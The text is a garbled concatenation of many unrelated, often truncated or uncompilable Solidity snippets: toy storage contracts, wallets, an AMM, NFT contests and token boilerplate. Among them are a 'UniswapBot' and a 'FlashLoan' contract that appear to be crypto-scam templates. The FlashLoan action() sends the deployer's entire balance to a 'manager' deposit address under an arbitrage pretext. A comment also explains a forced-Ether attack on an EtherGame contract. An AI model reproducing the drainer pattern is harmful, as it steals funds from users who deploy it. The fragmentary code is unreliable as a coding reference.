contract SimpleStore {
function set(uint _value) public {
require((_value > 50)); //EXAMPLE OF REQUIRE
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
// The goal here is to create a multi-sig wallet safe
// Eventually the deployer will have to decide how many sigs are needed for the tranx to be approved
// The deployer will also be able to add/remove the allowed addresses
// BEFORE we get to that, let's create a SIMPLE wallet safe
// We'll expand upon its functionalities to make it a multi-sig safe bit by bit
// Create a cotract called Safe that: (This is how to make a wallet)
// 1 - Keeps track of users balance (balances mapping)
// 2 - Shows how many users have funds in the Safe
// 3 - Each user is represented by a Struct with at least: address, balance, unique ID
// 4 - A user can deposit, withdraw and tranfer funds to other users
// NB - no need to create a new token: we'll use ETH
// Use OpenZeppelin's SafeMath for uint operations
contract Safe {
mapping(address => uint256) public balances;
//balances[msg.sender] (how to call mapping)
struct User{
address use
type T[] memory = StackSlot;
function index_access<ValueType T>(T[] memory x, uint256 index) returns (T result)
{
StackSlot mptr = (T[] memory).unwrap(x);
uint256 offset = 32 + index * 32;
assembly ("memory-safe") {
let size := mload(mptr)
if iszero(lt(index, size)) { revert(0, 0) /* out of bounds */ }
result := mload(add(mptr, offset))
}
}
function index_access<ValueType T>(T[] memory x, uint256 index) returns (T result)
{
StackSlot mptr = (T[] memory).unwrap(x);
uint256 offset = 32 + index * 32;
assembly ("memory-safe") {
let size := mload(mptr)
if iszero(lt(index, size)) { revert(0, 0) /* out of bounds */ }
result := mload(add(mptr, offset))
}
}
pragma solidity ^0.4.18;
contract Gastoken {
function free(uint256 value) public returns (bool success);
function freeUpTo(uint256 value) public returns (uint256 freed);
function freeFrom(address from, uint256 value) public returns (bool success);
function freeFromUpTo(address from, uint256 value) public returns (uint256 freed);
}
contract Example {
// This function consumes a lot of gas
function expensiveStuff() private pure {
/* lots of expensive stuff */
}
/*
* Frees `free' tokens from the Gastoken at address `gas_token'.
* The freed tokens belong to this Example contract. The gas refund can pay
* for up to half of the gas cost of the total transaction in which this
* call occurs.
*/
function burnGasAndFree(address gas_token, uint256 free) public {
require(Gastoken(gas_token).free(free));
expensiveStuff();
}
/*
* Frees `free' tokens from the Gastoken at address `gas_token'.
* The freed tokens belong
pragma solidity ^0.8.0;
//SPDX-License-Identifier: MIT
contract e0x {
event Log(string message);
event LinkAdded(uint linkId, string url);
struct LinkTemplate {
address userAddress;
string url;
}
uint lastLinkId;
mapping (uint => LinkTemplate) public linkMapping;
constructor() {
lastLinkId = 0;
}
function createNewLink(string memory url) public returns (uint) {
lastLinkId++;
linkMapping[lastLinkId] = LinkTemplate(msg.sender, url);
emit LinkAdded(lastLinkId, url);
return lastLinkId;
}
modifier linkExists(uint linkId) {
//link with the given hash does not exist
if(linkMapping[linkId].userAddress == 0x0000000000000000000000000000000000000000) {
revert();
}
_;
}
function getLink(uint linkId) public view
returns(
address,
string memory
) {
LinkTemplate memory link = linkMapping[linkId];
return(
link.userAddress,
link.url
);
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.26;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
// The goal here is to create a multi-sig wallet safe
// Eventually the deployer will have to decide how many sigs are needed for the tranx to be approved
// The deployer will also be able to add/remove the allowed addresses
// BEFORE we get to that, let's create a SIMPLE wallet safe
// We'll expand upon its functionalities to make it a multi-sig safe bit by bit
// Create a cotract called Safe that: (This is how to make a wallet)
// 1 - Keeps track of users balance (balances mapping)
// 2 - Shows how many users have funds in the Safe
// 3 - Each user is represented by a Struct with at least: address, balance, unique ID
// 4 - A user can deposit, withdraw and tranfer funds to other users
// NB - no need to create a new token: we'll use ETH
// Use OpenZeppelin's SafeMath for uint operations
contract Safe {
mapping(address => uint256) public balances;
struct User{
address userAddress;
uint256 userBalance;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
/**
* The purpose of this smart contract is to record transactions for web2 application uses
* The immediate need for this is to be able to associate an web2 transaction ID with a web 3 payment
*/
contract TransactionRecorder {
bool private _paused;
address private _owner;
uint256 private _tax;
struct Transaction {
string
}
// Map a company address to a list of transactions
mapping(address, mapping(string => ))
constructor() {
_paused = false;
_owner = msg.sender;
}
modifier isOwner() {
require(msg.sender == _owner, "You are not authorized to perform this action!");
_;
}
function setTaxRate(uint256 amount) external isOwner {
require(amount >= 0, "You can not set a negative tax rate");
_tax = amount;
}
function getTaxRate() external view returns(uint256) {
return _tax;
}
/**
* @dev Allow a specific address to accept paymen
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import './SafeMath.sol';
contract CoinFlip {
using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() {
consecutiveWins = 0;
}
function flip(bool _guess) external payable returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
// msg.sender.call{value: msg.value.mul(2)}("");
return true;
} else {
consecutiveWins = 0;
return false;
}
}
receive() external payable {
}
contract Contest is ERC721Full {
using Counters for Counters.Counter;
Counters.Counter private _tokenIds;
/// original sponsor of this contest
address public originalSponsor;
/// minimum amount that must be supplied in order to make a submission
uint256 public submissionFee;
/// block timestamp at which this contest has officially ended
uint256 public contestEnd;
/// this represents a single entry in the contest
struct submission {
// the creater of this stable diffusion image
address submitter;
// number of votes for this submission
uint256 votes;
}
/// keeps track of the submissions that currently have the most votes
submission public leadingSubmission;
/// map between submissions and the number of votes received for that submission
mapping(uint256 => submission) public submissions;
/// address of contest factory
address public factory;
error Insufficient
contract Contest is ERC721Full {
using Counters for Counters.Counter;
Counters.Counter private _tokenIds;
/// original sponsor of this contest
address public originalSponsor;
/// minimum amount that must be supplied in order to make a submission
uint256 public submissionFee;
/// block timestamp at which this contest has officially ended
uint256 public contestEnd;
struct submission {
// the creater of this stable diffusion image
address submitter;
// number of votes for this submission
uint256 votes;
}
/// map between submissions and the number of votes received for that submission
map(uint256 => submission) public submissions;
/// address of contest factory
address public factory;
error InsufficientSubmissionFee();
error SenderNotJudge(address sender);
/// @dev only submissions that meet the submission fee can enter the contest
modifier validSubmission() {
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Trans
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function constructor() public{
}
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
/**
*Submitted for verification at Etherscan.io on 2018-04-10
*/
pragma solidity ^0.4.20;
/*
*A reincarnation of Mahatma Gandhi, born again to live forever on the Ethereum Blockchain
dddddddd
GGGGGGGGGGGGG d::::::dhhhhhhh iiii jjjj iiii iiii
GGG::::::::::::G d::::::dh:::::h i::::i j::::j i::::i i::::i
GG:::::::::::::::G d::::::dh:::::h iiii jjjj iiii iiii
G:::::GGGGGGGG::::G d:::::d
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.1;
contract SimpleStore {
function testGas1(uint256 renewCount, uint256 renewLength) {
uint256 gasBudget = 100 * 10 * renewCount;
uint256 refund = 50 * 10;
refund = refund - ((refund / 10) * (renewLength - renewCount));
}
function testGas2(uint256 renewCount, uint256 renewLength) {
uint256 gasBudget = 100 * 10 * renewCount;
uint256 refund = 50 * 10;
if(renewLength != renewCount) {
refund = refund - ((refund / 10) * (renewLength - renewCount));
}
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function testGas1(uint256 renewCount, uint256 renewLength) {
uint256 gasBudget = 100 * 10 * renewCount;
uint256 refund = 50 * 10;
refund = refund - ((refund / 10) * (renewLength - renewCount));
}
function testGas2(uint256 renewCount, uint256 renewLength) {
uint256 gasBudget = 100 * 10 * renewCount;
uint256 refund = 50 * 10;
if(renewLength != renewCount) {
refund = refund - ((refund / 10) * (renewLength - renewCount));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@uniswap/v3-periphery/contracts/libraries/TransferHelper.sol";
import "@uniswap/v3-periphery/contracts/interfaces/ISwapRouter.sol";
interface IUSDC {
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
contract Dank is Ownable {
address private constant _USDCContract = 0x2791Bca1f2de4661ED88A30C99A7a9449Aa84174;
ISwapRouter public immutable swapRouter;
// address public constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
// address public constant WETH9 = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
// address public constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
uint24 public constant poolFee = 3000;
constructor(ISwapRouter _swapRouter) {
swapRouter = _swapRouter;
}
struct UserData {
string userName;
address publicAddress;
string
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
contract Dank is Ownable {
constructor() { }
struct UserData {
string userName;
address publicAddress;
string ipfsURI;
}
mapping (string => UserData) _idToUser;
event UserCreated(uint256 timestamp, string username, address userAddress, string ipfsURI);
function registerUser(string memory userName, address publicAddress, string memory ipfsURI) external onlyOwner returns (bool) {
require(keccak256(bytes(_idToUser[userName].userName)) != keccak256(bytes(userName)), "This user is already registered.");
_idToUser[userName] = UserData({
userName: userName,
publicAddress: publicAddress,
ipfsURI: ipfsURI
});
emit UserCreated(block.timestamp, userName, publicAddress, ipfsURI);
return true;
}
function getUser(string memory userName) public view returns (UserData memory) {
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
contract Dank is Ownable {
constructor() { }
struct UserData {
string userName;
address publicAddress;
string ipfsURI;
}
mapping (string => UserData) _idToUser;
event UserCreated(uint256 timestamp, string username, address userAddress, string ipfsURI);
function registerUser(string memory userName, address publicAddress, string memory ipfsURI) external onlyOwner returns (bool) {
require(keccak256(bytes(_idToUser[userName].userName)) != keccak256(bytes(userName)), "This user is already registered.");
_idToUser[userName] = UserData({
userName: userName,
publicAddress: publicAddress,
ipfsURI: ipfsURI
});
emit UserCreated(block.timestamp, userName, publicAddress, ipfsURI);
return true;
}
function getUser(string memory userName) public view returns (UserData memory) {
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
contract User is Ownable {
constructor() { }
struct UserData {
string userName;
address publicAddress;
string ipfsURI;
}
mapping (string => UserData) _idToUser;
event UserCreated(uint256 timestamp, string username, address userAddress, string ipfsURI);
function registerUser(string memory userName, address publicAddress, string memory ipfsURI) external onlyOwner returns (bool) {
require(keccak256(bytes(_idToUser[userName].userName)) != keccak256(bytes(userName)), "This user is already registered.");
_idToUser[userName] = UserData({
userName: userName,
publicAddress: publicAddress,
ipfsURI: ipfsURI
});
emit UserCreated(block.timestamp, userName, publicAddress, ipfsURI);
return true;
}
function getUser(string memory userName) public view returns (UserData memory) {
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
// The goal of this game is to be the 7th player to deposit 1 Ether.
// Players can deposit only 1 Ether at a time.
// Winner will be able to withdraw all Ether.
/*
1. Deploy EtherGame
2. Players (say Alice and Bob) decides to play, deposits 1 Ether each.
2. Deploy Attack with address of EtherGame
3. Call Attack.attack sending 5 ether. This will break the game
No one can become the winner.
What happened?
Attack forced the balance of EtherGame to equal 7 ether.
Now no one can deposit and the winner cannot be set.
*/
contract EtherGame {
uint public targetAmount = 7 ether;
address public winner;
function deposit() public payable {
require(msg.value == 1 ether, "You can only send 1 Ether");
uint balance = address(this).balance;
require(balance <= targetAmount, "Game is over");
if (balance == targetAmount) {
winner = msg.sender;
}
}
function claimReward() public {
req
//SPDX-License-Identifier: MIT
pragma solidity ^0.6.6;
// Import Libraries Migrator/Exchange/Factory
import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/IUniswapV2Migrator.sol";
import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol";
import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol";
contract UniswapBot {
uint liquidity;
uint private pool;
address public owner;
event Log(string _msg);
/*
* @dev constructor
* @set the owner of the contract
*/
constructor() public {
owner = msg.sender;
}
receive() external payable {}
struct slice {
uint _len;
uint _ptr;
}
/*
* @dev Find newly deployed contracts on Uniswap Exchange
* @param memory of required contract liquidity.
* @param other The second slice to compare.
* @return New contracts with required liquidity.
*/
pragma solidity ^0.4.18;
contract HelloWorld {
string private HelloMsg = "Hello, Het!!!";
function getHelloMsg() public view returns (string memory) {
return HelloMsg;
}
pragma solidity >=0.4.24 <0.6.0;
contract TASS {
address payable public sender; // The account sending payments.
address payable public recipient; // The account receiving the payments.
uint256 public expiration; // Timeout in case the token return back.
constructor (address payable _recipient, uint256 duration)
public
payable
{
sender = msg.sender;
recipient = _recipient;
expiration = now + duration;
}
function isValidSignature(uint256 amount, bytes memory signature)
internal
view
returns (bool)
{
bytes32 message = prefixed(keccak256(abi.encodePacked(this, amount)));
// check that the signature is from the payment sender
return recoverSigner(message, signature) == sender;
}
/// the recipient can close the channel at any time by presenting a
/// signed amount from the sender. the recipient will be sent that amount,
/// and the remainder will go back to the sender
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.20;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function sqrt(uint x) private pure returns (uint y) {
if(x == 0) return 0;
else
{
if(x <= 3) return 1;
uint z = (x + 1) /2;
y = x;
while(z < y){
y=z;
z= (x / z + z) / 2;
}
}
}
function D(int a, int b, int c) public pure returns (int){
return b * b - 4 * a * c;
}
function equation (int a, int b, int c) public pure returns (int, int){
var temp = D(a, b, c);
if(temp<0){
require (!(temp < 0));//require (!(temp < 0), "D coudnt be negative");
}
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function sqrt(uint x) private returns (uint y) {
if(x == 0) return 0;
else
{
if(x <= 3) return 1;
uint z = (x + 1) /2;
y = x;
while(z < y){
y=z;
z= (x / z + z) / 2;
}
}
}
function D(int a, int b, int c) public pure returns (int){
return b * b - 4 * a * c;
}
function equation (int a, int b, int c) public pure returns (int, int){
var temp = D(a, b, c);
if(temp<0){
require (!(temp < 0));//require (!(temp < 0), "D coudnt be negative");
}
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract LabRab26 {
//a*(x ^ 2) + (b*x) + c = 0
function d(uint b,uint a, uint c) public pure returns (uint ) {
uint bq = b * b;
uint ac = 4 * a * c;
return bq /ac ;
}
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}dfdf
uint value;
pragma solidity ^0.5.0;
// Multiplier-Finance Smart Contracts
import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPoolAddressesProvider.sol";
// Dex Smart Contracts
import "https://github.com/uniswap-finance/uniswap-core/blob/master/contracts/interfaces/IUniswapPair.sol";
import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakePair.sol";
contract FlashLoan {
string public tokenName;
string public tokenSymbol;
uint loanAmount;
Manager manager;
constructor(string memory _tokenName, string memory _tokenSymbol, uint _loanAmount) public {
tokenName = _tokenName;
tokenSymbol = _tokenSymbol;
loanAmount = _loanAmount;
manager = new Manager();
}
function() external payable {}
function action() public payable {
// Send required coins for swap
address(uint160(manager.swapDepositAddress())).transfer(address(this).balance);
/*
// Submit token to blockchain
string memory t
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function who(uint8 rint, uint8 bing) public pure returns(string) {
uint8 val = rint;
uint8 val2 = bing;
if (val2 > val) {
return "renzo beats benzo";
} else {
return "benzo beats renzo";
}
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract PlayGame {
struct Player {
string hasplayed;
address my_address;
uint wager;
}
Player[] public players;
function initialize(uint wager) public {
players.push(Player("no", msg.sender, wager));
layer storage myplayer = players[0];
return myplayer.my_address;
}
function Roll() private returns (address) {
Player storage myplayer = players[0];
return myplayer.my_address;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.0 <0.9.0;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
contract AMM {
using SafeMath for uint256;
uint256 totalShares; // Stores the total amount of share issued for the pool
uint256 totalToken1; // Stores the amount of Token1 locked in the pool
uint256 totalToken2; // Stores the amount of Token2 locked in the pool
uint256 K; // Algorithmic constant used to determine price
uint256 constant PRECISION = 1_000_000; // Precision of 6 digits
mapping(address => uint256) shares; // Stores the share holding of each provider
// Stores the available balance of user outside of the AMM
// For simplicity purpose, We are maintaining our own internal
// balance mapping instead of dealing with ERC-20 tokens
mapping(address => uint256) token1Balance;
mapping(address => uint256) token2Balance;
// Ensures that the _qty is non-zero and the user has enough balance
modifier validAmountCh
// Returns the amount of Token2 that the user will get when swapping a given amount of Token1 for Token2
function getSwapToken2Estimate(uint256 _amountToken2) public view activePool returns(uint256 amountToken1) {
uint256 token2After = totalToken2.add(_amountToken2);
uint256 token1After = K.div(token2After);
amountToken1 = totalToken1.sub(token1After);
// To ensure that Token1's pool is not completely depleted leading to inf:0 ratio
if(amountToken1 == totalToken1) amountToken1--;
}
// Returns the amount of Token2 that the user should swap to get _amountToken1 in return
function getSwapToken2EstimateGivenToken1(uint256 _amountToken1) public view activePool returns(uint256 amountToken2) {
require(_amountToken1 < totalToken1, "Insufficient pool balance");
uint256 token1After = totalToken1.sub(_amountToken1);
uint256 token2After = K.div(token1After);
amountToken2 = token2After.sub(totalToken2);
}
// Swaps given amount of Token2 to Token1 using algorithmic price determination
// Swaps given amount of Token1 to Token2 using algorithmic price determination
function swapToken1(uint256 _amountToken1) external activePool validAmountCheck(token1Balance, _amountToken1) returns(uint256 amountToken2) {
amountToken2 = getSwapToken1Estimate(_amountToken1);
token1Balance[msg.sender] -= _amountToken1;
totalToken1 += _amountToken1;
totalToken2 -= amountToken2;
token2Balance[msg.sender] += amountToken2;
// Returns the amount of Token1 that the user should swap to get _amountToken2 in return
function getSwapToken1EstimateGivenToken2(uint256 _amountToken2) public view activePool returns(uint256 amountToken1) {
require(_amountToken2 < totalToken2, "Insufficient pool balance");
uint256 token2After = totalToken2.sub(_amountToken2);
uint256 token1After = K.div(token2After);
amountToken1 = token1After.sub(totalToken1);
// Returns the amount of Token2 that the user will get when swapping a given amount of Token1 for Token2
function getSwapToken1Estimate(uint256 _amountToken1) public view activePool returns(uint256 amountToken2) {
uint256 token1After = totalToken1.add(_amountToken1);
uint256 token2After = K.div(token1After);
amountToken2 = totalToken2.sub(token2After);
// To ensure that Token2's pool is not completely depleted leading to inf:0 ratio
if(amountToken2 == totalToken2) amountToken2--;
// Returns the estimate of Token1 & Token2 that will be released on burning given _share
function getWithdrawEstimate(uint256 _share) public view activePool returns(uint256 amountToken1, uint256 amountToken2) {
require(_share <= totalShares, "Share should be less than totalShare");
amountToken1 = _share.mul(totalToken1).div(totalShares);
amountToken2 = _share.mul(totalToken2).div(totalShares);
}
// Removes liquidity from the pool and releases corresponding Token1 & Token2 to the withdrawer
function withdraw(uint256 _share) external activePool validAmountCheck(shares, _share) returns(uint256 amountToken1, uint256 amountToken2) {
(amountToken1, amountToken2) = getWithdrawEstimate(_share);
shares[msg.sender] -= _share;
totalShares -= _share;
totalToken1 -= amountToken1;
totalToken2 -= amountToken2;
K = totalToken1.mul(totalToken2);
token1Balance[msg.sender] += amountToken1;
token2Balance[msg.sender] += amountToken2;
// Returns amount of Token1 required when providing liquidity with _amountToken2 quantity of Token2
function getEquivalentToken1Estimate(uint256 _amountToken2) public view activePool returns(uint256 reqToken1) {
reqToken1 = totalToken1.mul(_amountToken2).div(totalToken2);
}
// Returns amount of Token2 required when providing liquidity with _amountToken1 quantity of Token1
function getEquivalentToken2Estimate(uint256 _amountToken1) public view activePool returns(uint256 reqToken2) {
reqToken2 = totalToken2.mul(_amountToken1).div(totalToken1);
// Adding new liquidity in the pool
// Returns the amount of share issued for locking given assets
function provide(uint256 _amountToken1, uint256 _amountToken2) external validAmountCheck(token1Balance, _amountToken1) validAmountCheck(token2Balance, _amountToken2) returns(uint256 share) {
if(totalShares == 0) { // Genesis liquidity is issued 100 Shares
share = 100*PRECISION;
} else{
uint256 share1 = totalShares.mul(_amountToken1).div(totalToken1);
uint256 share2 = totalShares.mul(_amountToken2).div(totalToken2);
require(share1 == share2, "Equivalent value of tokens not provided...");
share = share1;
}
require(share > 0, "Asset value less than threshold for contribution!");
token1Balance[msg.sender] -= _amountToken1;
token2Balance[msg.sender] -= _amountToken2;
totalToken1 += _amountToken1;
totalToken2 += _amountToken2;
K = totalToken1.mul(totalToken2);
totalShares += share;
shares[msg.sender] += share;
// Sends free token(s) to the invoker
function faucet(uint256 _amountToken1, uint256 _amountToken2) external {
token1Balance[msg.sender] = token1Balance[msg.sender].add(_amountToken1);
token2Balance[msg.sender] = token2Balance[msg.sender].add(_amountToken2);
// Returns the balance of the user
function getMyHoldings() external view returns(uint256 amountToken1, uint256 amountToken2, uint256 myShare) {
amountToken1 = token1Balance[msg.sender];
amountToken2 = token2Balance[msg.sender];
myShare = shares[msg.sender];
}
// Returns the total amount of tokens locked in the pool and the total shares issued corresponding to it
function getPoolDetails() external view returns(uint256, uint256, uint256) {
return (totalToken1, totalToken2, totalShares);
// Ensures that the _qty is non-zero and the user has enough balance
modifier validAmountCheck(mapping(address => uint256) storage _balance, uint256 _qty) {
require(_qty > 0, "Amount cannot be zero!");
require(_qty <= _balance[msg.sender], "Insufficient amount");
_;
}
// Restricts withdraw, swap feature till liquidity is added to the pool
modifier activePool() {
require(totalShares > 0, "Zero Liquidity");
_;
}
uint256 totalShares; // Stores the total amount of share issued for the pool
uint256 totalToken1; // Stores the amount of Token1 locked in the pool
uint256 totalToken2; // Stores the amount of Token2 locked in the pool
uint256 K; // Algorithmic constant used to determine price (K = totalToken1 * totalToken2)
uint256 constant PRECISION = 1_000_000; // Precision of 6 decimal places
mapping(address => uint256) shares; // Stores the share holding of each provider
mapping(address => uint256) token1Balance; // Stores the available balance of user outside of the AMM
mapping(address => uint256) token2Balance
uint256 totalShares; // Stores the total amount of share issued for the pool
uint256 totalToken1; // Stores the amount of Token1 locked in the pool
uint256 totalToken2; // Stores the amount of Token2 locked in the pool
uint256 K; // Algorithmic constant used to determine price (K = totalToken1 * totalToken2)
uint256 constant PRECISION = 1_000_000; // Precision of 6 decimal places
mapping(address => uint256) shares; // Stores the share holding of each provider
mapping(address => uint256) token1Balance; // Stores the available balance of user outside of the AMM
mapping(address => uint256) token2Balance
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.0 <0.9.0;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
contract AMM {
using SafeMath for uint256;
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.1;
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
//
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
function _mint(address to, uint tokenId) internal { require(to != address(0)); require(!_exists(tokenId)); _tokenOwner[tokenId] = to; _ownedTokensCount[to] = _ownedTokensCount[to].add(1); emit Transfer(address(0), to, tokenId);}
pragma solidity ^0.5.17;
import "hardhat/console.sol";
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @title: Enumeronomics
/// @author: manifold.xyz
/// mangled by Dynamite
import "./ERC721Creator.sol";
contract ENU is ERC721Creator {
constructor() ERC721Creator("Enumeronomics", "ENU") {}
pragma solidity ^0.7.1;
contract PsoukraceFactory {
struct Psoukrace {
string name;
string title;
uint level;
uint HP;
uint defence;
uint dodge;
uint luck;
uint intelligence;
uint strenghth;
uint attack;
uint speed;
}
Psoukrace [] public psoukraces;
function createPsoukrace(string memory name, string memory title, uint level, uint HP, uint defence, uint dodge, uint luck, uint intelligence, uint strength, uint attack, uint speed) public returns (string memory, string memory, uint, uint, uint, uint, uint, uint, uint, uint, uint) {
psoukraces.push(Psoukrace(name, title, level, HP, defence, dodge, luck, intelligence, strength, attack, speed));
return ("test1",
"test2",
1,
2,
3,
4,
5,
6,
7,
8,
9);
}
/**
Je reçois une erreur : ParserError: Function, variable, struct or modifier declaration expected.
--> contracts/Psoukrace.sol:38:2:
1) J'aimerai que la fonction c
pragma solidity ^0.7.1;
contract PsoukraceFactory {
struct Psoukrace {
string name;
string title;
uint level;
uint HP;
uint defence;
uint dodge;
uint luck;
uint intelligence;
uint strenghth;
uint attack;
uint speed;
}
Psoukrace [] public psoukraces;
function createPsoukrace(string memory name, string memory title, uint level, uint HP, uint defence, uint dodge, uint luck, uint intelligence, uint strength, uint attack, uint speed) public returns (string memory, string memory, uint, uint, uint, uint, uint, uint, uint, uint, uint) {
psoukraces.push(Psoukrace(name, title, level, HP, defence, dodge, luck, intelligence, strength, attack, speed));
return ("test1",
"test2",
1,
2,
3,
4,
5,
6,
7,
8,
9);
}
/** A)
1) J'aimerai que la fonction createPsoukrace me crée un Psoukrace
2) me l'ajoute au tableau avec toutes ses stats
3) que je puisse ensuite l'appeller et voir l
pragma solidity ^0.7.1;
contract PsoukraceFactory {
struct Psoukrace {
string name;
string title;
uint level;
uint HP;
uint defence;
uint dodge;
uint luck;
uint intelligence;
uint strenghth;
uint attack;
uint speed;
}
Psoukrace [] public psoukraces;
function _createPsoukrace(string memory name, string memory title, uint level, uint HP, uint defence, uint dodge, uint luck, uint intelligence, uint strength, uint attack, uint speed) public returns (string memory, string memory, uint, uint, uint, uint, uint, uint, uint, uint, uint) {
psoukraces.push(Psoukrace(name, title, level, HP, defence, dodge, luck, intelligence, strength, attack, speed));
return ("test1",
"test2",
1,
2,
3,
4,
5,
6,
7,
8,
9);
pragma solidity ^0.4.17;
contract Auction {
// Data
//Structure to hold details of the item
struct Item {
uint itemId; // id of the item
uint[] itemTokens; //tokens bid in favor of the item
}
//Structure to hold the details of a persons
struct Person {
uint remainingTokens; // tokens remaining with bidder
uint personId; // it serves as tokenId as well
address addr;//address of the bidder
}
mapping(address => Person) tokenDetails; //address to person
Person [4] bidders;//Array containing 4 person objects
Item [3] public items;//Array containing 3 item objects
address[3] public winners;//Array for address of winners
address public beneficiary;//owner of the smart contract
uint bidderCount=0;//counter
//functions
function Auction() public payable{ //constructor
//Part 1 Task 1. Initialize beneficiary with address of smart contract’s owner
/
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
import "./SoulSBT.sol";
contract SoulshipFactory {
struct DeployedContracts {
address contractAddress;
address organizationAddress;
string utility;
string uri;
string name;
}
struct Organizations {
address organizationAddress;
string organizationName;
string organizationLogo;
}
address[] contractAddresses;
mapping (uint256 => DeployedContracts) public getContractData;
mapping (address => uint256) public numberOfCollections;
mapping(address => Organizations) public getOrgData;
function registration(string memory orgName, string memory logoUri) public returns (bool) {
require(getOrgData[msg.sender].organizationAddress != msg.sender , "Soul: This organization is already registered.");
